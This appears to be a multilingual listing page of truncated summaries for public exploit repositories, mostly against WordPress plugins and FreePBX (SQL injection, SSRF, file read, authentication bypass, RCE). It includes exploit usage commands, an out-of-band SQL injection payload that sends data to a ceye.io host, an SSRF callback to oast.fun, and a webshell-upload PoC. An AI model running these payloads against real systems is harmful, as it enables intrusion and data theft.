CVE-2024-2961-Remote-File-Read

CVE-2024-2961 リモートファイル読み取り このスクリプトは、CVE-2024-2961 に記載されているように、iconv ライブラリが文字エンコーディング変換を誤って処理するシステムの脆弱性を悪用する方法を示しています。これにより、攻撃者は PHP フィルタチェーンと不適切なエンコーディング処理を利用して、サーバー上の任意のファイルを読み取ることができます。 このスクリプトは、細工されたペイロードのアップロード、生成されたファイルの取得、およびその内容の表示のプロセスを自動化します。これは、次の記事で詳述されている研究に基づいています：Iconv...

CVE-2025-2539

CVE-2025-2539 - WordPress File Away = 3.9.9.0.1 - Arbitrary File Read 🔥 Vulnerability Summary The WordPress plugin File Away version = 3.9.9.0.1 is vulnerable to an unauthenticated arbitrary file read vulnerability. This allows attackers to read any file on the server, such as wp-config.php,...

SSI-CVE-2022-21661

SSI-CVE-2022-21661 Information System's Security 2nd Assignment Study and exploit the vulnerability CVE-2022-21661 that allows SQL Injections through plugins POST requests to WordPress versions below 5.8.3. Configuring the environment To start and configure the environment, you should just run:...

CVE-2024-2961

Buddyforms 2.7.7 CNEXT RCE CVE-2024-2961 및 CVE-2023–26326을 악용하여 RCE 달성 사용법 root@kitploit: git-clone https://github.com/suce0155/CVE-2024-2961buddyforms2.7.7 pip install -r requirements.txt python3 buddyforms2.7.7cnextexploit.py http://site/wp-admin/admin-ajax.php ip port 분석 및 기술 세부 사항 제 블로그 게시물을...

typehub-exploiter

typehub-exploiter GILANG - CVE-2021-25094 익스플로이터 참고 : https://darkpills.com/wordpress-tatsu-builder-preauth-rce-cve-2021-25094/ 페이로드 : site.com/wp-admin/admin-ajax.php 버그 경로 : site.com/wp-content/uploads/typehub/custom/ 감사 : Ibnudz, Dark clown security 인사 : Garuda Tersakti 72. Buitenzorg Syndicat...

CVE-2022-1386-FusionBuilder-SSRF

CVE-2022-1386 – Fusion Builder 예시: root@kitploit: python3 exploitcve20221386.py https://vulnerable.site https://abc123.oast.fun 콜백을 수신하려면 Interact.sh 또는 Burp Collaborator를 사용하세요. 📋 샘플 출력 root@kitploit: Fetching nonce from target... Sending SSRF payload to https://abc123.oast.fun... + SSRF...

CVE-2022-0169

CVE-2022-0169 — WordPress Photo Gallery SQLi PoC This is a simple Python proof-of-concept PoC for CVE-2022-0169 , an SQL injection vulnerability in the WordPress Photo Gallery plugin. What it does Checks the WordPress version if available Exploits the vulnerable admin-ajax.php endpoint Dumps...

CVE-2022-1386

CVE-2022-1386 - Fusion Builder 3.6.2 - 인증되지 않은 SSRF 설명 Fusion Builder는 드래그 앤 드롭 인터페이스를 사용하여 페이지를 만들고 편집할 수 있는 WordPress 플러그인입니다. 이 플러그인은 인증되지 않은 SSRF 취약점을 가지고 있어 공격자가 서버의 모든 파일을 읽을 수 있습니다. 개념 증명 요청: root@kitploit: POST /wp-admin/admin-ajax.php HTTP/1.1 Host: example.com User-Agent: Mozilla/5.0...

CVE-2026-1729-PoC-AdForest-WordPress-Authentication-Bypass

CVE-2026-1729 - AdForest WordPress 인증 우회 PoC 설명 CVE-2026-1729에 대한 간단한 개념 증명PoC - AdForest WordPress 테마의 인증 우회 취약점. 작성자: f3ds cr3w est 2oo2 blog 기능 ✅ 자격 증명 없이 관리자 직접 접근 ✅ 프로덕션 WordPress 인스턴스에서 작동 ✅ Docker 설정 불필요 ✅ 간단한 명령줄 인터페이스 ✅ 세션 유지 요구 사항 Python 3.6+ requests 라이브러리 설치 root@kitploit: pip install...

CVE-2022-28590

CVE-2022-28590 元の発見と手動 PoC は tuando243 によるものです。 Pixelimity 1.0 には、admin/admin-ajax.php?action=installtheme を介したリモートコード実行 RCE の脆弱性が存在します。 この PoC は、さらなるリモートコード実行のためにシンプルなウェブシェルをアップロードします。このエクスプロイトは、サーバー上で system 関数が許可されていることを前提としています。許可されていない場合は、system 以外のどの関数が実行を許可しているかを検出するために、事前の調査が必要です。 インストール...

CVE-2024-6244

🚀 pz-frontend-manager = 1.0.5 - CSRF プロフィール画像エクスプロイト 🛠️ 説明 このスクリプトは、WordPress プラグイン pz-frontend-manager （バージョン 1.0.5 以下）の CSRF脆弱性 を悪用し、ログイン中のユーザーのプロフィール画像を同意なしに変更します。 🔴 CVE-2024-6244 このプラグインは適切な CSRF保護 を欠いており、攻撃者が細工したリクエストを介して認証済みユーザーに意図しないアクションを強制することを可能にします。 🕵️‍♂️ 仕組み 1. 脆弱性の確認： スクリプトは readme.txt...

CVE-2024-3673

CVE-2024-3673 CVE-2024-3673 익스플로잇: Web Directory Free WordPress 플러그인 버전 1.7.3 미만의 로컬 파일 포함 개요 CVE-2024-3673 은 Web Directory Free WordPress 플러그인버전 1.7.3 미만의 심각한 취약점을 설명합니다. 이 플러그인은 include 함수에서 매개변수를 사용하기 전에 검증하지 않아 로컬 파일 포함LFI이 발생합니다. 이를 통해 인증되지 않은 공격자가 서버의 민감한 파일을 읽을 수 있습니다. 취약한 플러그인 버전 영향을 받는 버...

CVE-2024-33911

The School Management 10.3.4 - 인증 후 SQL 인젝션 익스플로잇 제목: The School Management 10.3.4 - Post-Authenticated SQL Injection 날짜: 2024년 4월 29일 익스플로잇 작성자: Ivan Spiridonov xbz0n 공급업체 홈페이지: https://theschool-management.com 버전: 10.3.4 테스트 환경: Ubuntu 22.04 CVE: CVE-2024-33911 취약점 The School Management 플러그인, 버...

CVE-2022-21661

WordPress CVE-2022-21661 스캐너 사용법 root@kitploit: python wordpressscanner.py -H -p -ssl -proxy -path 도움말 root@kitploit: WordPress Scanner for CVE-2022-21661 options: -h, --help show this help message and exit -H HOST, --host HOST Host or IP address -p PORT, --port PORT Port number -ssl, --sslsuppor...

cve-2025-1323

cve-2025-1323 WP-Recall 플러그인 SQL 인젝션 ⚠️ 법적 고지 이 도구는 승인된 보안 테스트 및 교육 목적으로만 사용해야 합니다. 명시적 허가 없이 시스템에 사용하지 마십시오. 오용 시 불법 행위가 될 수 있습니다. ✅ 요구 사항 Python 3.x requests 모듈 종속성 설치: root@kitploit: pip install requests python CVE-2025-1323.py Enter target URL e.g. https://target.com/wp-admin/admin-ajax.php:...

wordpress-CVE-2022-21661

wordpress-CVE-2022-21661 version5.8.3 경로：http://your target/wp-admin/admin-ajax.php 주입 유형은 out-of-band이며, dnslog를 직접 지정하고 ceye.io를 대체해야 합니다. POST- 데이터："taxquery":"field":"termtaxonomyid","terms":"1 and ifselect loadfileconcat'\',select version,'.27s601.ceye.io\abc',1,1-- a"...

CVE-2026-6433

CVE-2026-6433 — 개념 증명 FlipperCode — 커스텀 CSS, JS 및 PHP · 인증되지 않은 SQL 인젝션 → RCE eval을 통해 영향 받는 버전: FlipperCode 커스텀 CSS, JS 및 PHP ≤ 2.0.7 · WordPress 플러그인의 공격 표면 admin-ajax.php를 통해 한눈에 보기...

CVE-2025-57819_FreePBX

🛡️ CVE-2025-57819 – FreePBX 인증되지 않은 SQL 인젝션을 통한 RCE PoC 이 저장소는 FreePBX 의 치명적인 인증되지 않은 SQL 인젝션 취약점 인 CVE-2025-57819 를 대상으로 하는 두 개의 Python PoCProof-of-Concept 스크립트를 포함합니다. 🧠 취약점 정보 CVE-2025-57819 CVE-2025-57819 는 여러 버전의 FreePBX에 영향을 미치며, admin/ajax.php의 취약한 파라미터를 통해 인증되지 않은 원격 공격자 가 임의의 SQL 쿼리 를 실행할...

CVE-2021-24762

개요 이 저장소는 HTTP 스캐닝을 통해 WordPress 인스턴스에서 식별된 취약점인 CVE-2021-24762의 탐지를 문서화합니다. 해당 취약점은 WordPress AJAX 엔드포인트에서 발견되었습니다: /wp-admin/admin-ajax.php 이 엔드포인트는 WordPress 플러그인과 테마가 비동기 요청을 처리하는 데 일반적으로 사용됩니다. AJAX 액션에 대한 검증이 부적절하거나 구현이 안전하지 않으면 공격자가 이 엔드포인트를 악용할 수 있습니다. 스캔 결과 취약점 스캔에서 다음 결과를 얻었습니다:...

CVE-2024-50450

CVE-2024-50450 WordPress Meta Data and Taxonomies Filter MDTF = 1.3.3.4 - Unauthenticated Arbitrary Shortcode Execution Description: The The MDTF – Meta Data and Taxonomies Filter plugin for WordPress is vulnerable to arbitrary shortcode execution in all versions up to, and including, 1.3.3.4. Th...